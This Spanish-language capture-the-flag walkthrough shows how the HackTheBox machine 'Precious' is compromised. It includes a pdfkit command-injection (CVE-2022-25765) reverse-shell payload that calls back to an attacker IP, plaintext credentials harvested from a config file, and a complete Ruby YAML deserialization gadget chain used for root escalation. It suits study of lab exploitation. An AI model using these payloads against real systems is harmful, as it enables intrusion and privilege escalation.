Maquina Precious
- OS: Linux
- Plataforma: HackTheBox
- Nivel: Easy
- Tags: #metadatos #exiftool #ruby-deserialization #pdfkit #CVE-2022-25765
Reconocimiento¶
Comenzamos tirando un ping para comprobar conectividad.
> ping -c 1 10.129.228.98
PING 10.129.228.98 (10.129.228.98) 56(84) bytes of data.
64 bytes from 10.129.228.98: icmp_seq=1 ttl=63 time=110 ms
--- 10.129.228.98 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 110.232/110.232/110.232/0.000 ms
Realizamos un escaneo con nmap para ver que puertos tenemos abiertos.
> sudo nmap -p- -n -vvv --min-rate 5000 -sS 10.129.228.98
Scanned at 2025-12-14 22:36:10 CST for 14s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
- Puertos 80 y 22 abiertos
Sobre los puertos abiertos realizo un segundo escaneo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.
> sudo nmap -p 22,80 -sV -sC -n -vvv --min-rate 5000 -sS 10.129.228.98 -oN target
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEAPxqUubE88njHItE+mjeWJXOLu5reIBmQHCYh2ETYO5zatgel+LjcYdgaa4KLFyw8CfDbRL9swlmGTaf4iUbao4jD73HV9/Vrnby7zP04OH3U/wVbAKbPJrjnva/czuuV6uNz4SVA3qk0bp6wOrxQFzCn5OvY3FTcceH1jrjrJmUKpGZJBZZO6cp0HkZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3GOs3ZckQMhOiBmu1FF77c7VW1zqln480/AbvHJDULtRdZ5xrYH1nFynnPi6+VU/PIfVMpHbYu7t0mEFeI5HxMPNUvtYRRDC14jEtH6RpZxd7PhwYiBctiybZbonM5UP0lP85OuMMPcSMll65+8hzMMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNUlFwO6hWz2WG8rlZ3voQ/gv8BLVCU1ziaVGerd61PODck=
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFScv6lLa14Uczimjt1W7qyH6OvXIyJGrznL1JXzgVFdABwi/oWWxUzEvwP5OMki1SW9QKX7kKVznWgFNOp815Y=
| 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTFGOgn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp open http syn-ack ttl 63 nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Puerto 22 SSH: OpenSSH 8.4p1 Debian 5+deb11u1
- Puerto 80 HTTP: nginx/1.18.0
Enumeración¶
Puerto 80 HTTP
- La pagina convierte paginas web en pdfs.
Para probar la pagina me cree un archivo html en mi maquina.
Y levante un servidor en python
Coloque la url de mi servidor en la pagina.
Y automáticamente me descargo un pdf con un nombre largo
- Al pdf le extraje los metadatos y descubrí la version
pdfkit v0.8.6
> exiftool vr09mgiqs6nownp3qmudyklplaygpoip.pdf
ExifTool Version Number : 12.57
File Name : vr09mgiqs6nownp3qmudyklplaygpoip.pdf
Directory : .
File Size : 9.9 kB
File Modification Date/Time : 2025:12:14 22:46:16-06:00
File Access Date/Time : 2025:12:14 22:46:16-06:00
File Inode Change Date/Time : 2025:12:14 22:46:16-06:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Explotación Manual¶
pdf-kit v0.8.6 es vulnerable a un RCE mas en concreto CVE-2022-25765.
Al parecer si en el parametro colocamos algun carácter URL Encodeado en este caso fue espacio(%20) y una sustitución de comandos con los backticks, este comando va a ser incluido en el ejecución de PDFKit, por lo cual podremos ver el output del comando.
- Command Injection Documentation
- Con nuestro servidor de python corriendo podemos colocar nuestra url con algun parametro y el comando
idpara ver si nos lo interpreta.
Podemos ver que el comando si se ejecuto:
También podemos ver el output en los logs de nuestro servidor python
> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.228.98 - - [15/Dec/2025 01:02:39] "GET /?lol=%20uid=1001(ruby)%20gid=1001(ruby)%20groups=1001(ruby) HTTP/1.1" 200 -
Por lo cual ahora podemos tratar de entablarnos una reverse-shell.
- Nos ponemos en escucha
- Colocamos el siguiente payload
Y recibimos la conexion.
Connection received on 10.129.228.98 34986
bash: cannot set terminal process group (677): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$ id
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ruby@precious:/var/www/pdfapp$
Explotación Automatizada¶
Alternativamente a la explotación manual, ya existe un exploit que automatiza esto por nosotros
La vulnerabilidad consiste en un RCE en un parametro que no este sanitizado. Al buscar posibles exploits nos encontramos con el siguiente.
> searchsploit pdfkit
--------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------- ---------------------------------
pdfkit v0.8.7.2 - Command Injection | ruby/local/51293.py
--------------------------------------------------- ---------------------------------
Lo bajamos
Nos colocamos en escucha:
Y seteamos los parámetros del exploit:
> python3 exploit.py -s <TUIP> <TUPUERTO> -w http://precious.htb/ -p url
_ __,~~~/_ __ ___ _______________ ___ ___
,~~`( )_( )-\| / / / / |/ / _/ ___/ __ \/ _ \/ _ \
|/| `--. / /_/ / // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Reverse Shell Sent to Target Website Mode
PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.15.110","443"))'`
LOCALIP: 10.10.15.110:443
WARNING: Be sure to start a local listener on the above IP and port. "nc -lnvp 443".
WEBSITE: http://precious.htb/
POSTARG: url
EXPLOIT: Payload sent to website!
SUCCESS: Exploit performed action.
Recibimos la conexión:
Listening on 0.0.0.0 443
Connection received on 10.129.228.98 32998
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
Escalada a usuario Henry¶
Enumeramos los usuarios y nos damos cuenta de que existe un usuario llamado henry.
ruby@precious:/var/www/pdfapp$ cat /etc/passwd | grep sh
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/ba
Dentro del sistema nos encontramos con el directorio .bundle y su archivo config en nuestro directorio home.
Podemos ver que el archivo config contiene credenciales para el usuario henry:Q3c1AqGHtoI0aXAYFH
ruby@precious:~/.bundle$ cat config
-------------------------------------------------------------
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Migramos al usuario henry
Y encontramos la primera flag en su directorio home
Escalada a Root¶
Con el usuario henry enumere binarios con privilegios de SUDO y me encuentro con el archivo update_dependencies.rb
henry@precious:/tmp$ sudo -l
sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Decido inspeccionar dicho archivo para ver que hace.
- Y aquí me doy cuenta que se esta utilizando la librería
YAMLy se esta cargando un archivodependencies.ymlsin ruta absoulta, es decir que nosotros vamos a poder controlar este archivo para colocar nuestro payload.
> cat /opt/update_dependencies.rb
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
Ruby Deserialization.
Nosotros vamos a poder crear un archivo dependencies.yml en el directorio tmp para que cuando la librería lo trate de deserializar ejecute lo que nosotros querramos.
- El comando que se va a ejecutar es
git_set: chmod +s /bin/bashpara colocarle el bit SUID a la bash -
Por que el payload funciona?
YAML.loadno solo lee datos si no que reconstruye objetos ruby completos y durante la reconstrucción se pueden ejecutargadgetsy se pueden llamar a métodos internos.Ruby crea una instancia real de
!ruby/object:Net::WriteAdapterla cual llama a un metodo sobre un objeto, en este caso el objeto esKernely el metodo essystemy el resultado esKernel.system("chmod +s /bin/bash")lo que nos permite colocarle el bit suid de quien ejecute el binario.
henry@precious:/tmp$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod +s /bin/bash
method_id: :resolve
Corremos el script como sudo en el directorio /tmp o donde hayamos creado el dependencies.yml
Y sacamos la bash en modo privilegiado con -p
henry@precious:/tmp$ bash -p
bash-5.1# id
id
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)
bash-5.1# cat root.txt
cat root.txt
25e657*****
PWNED






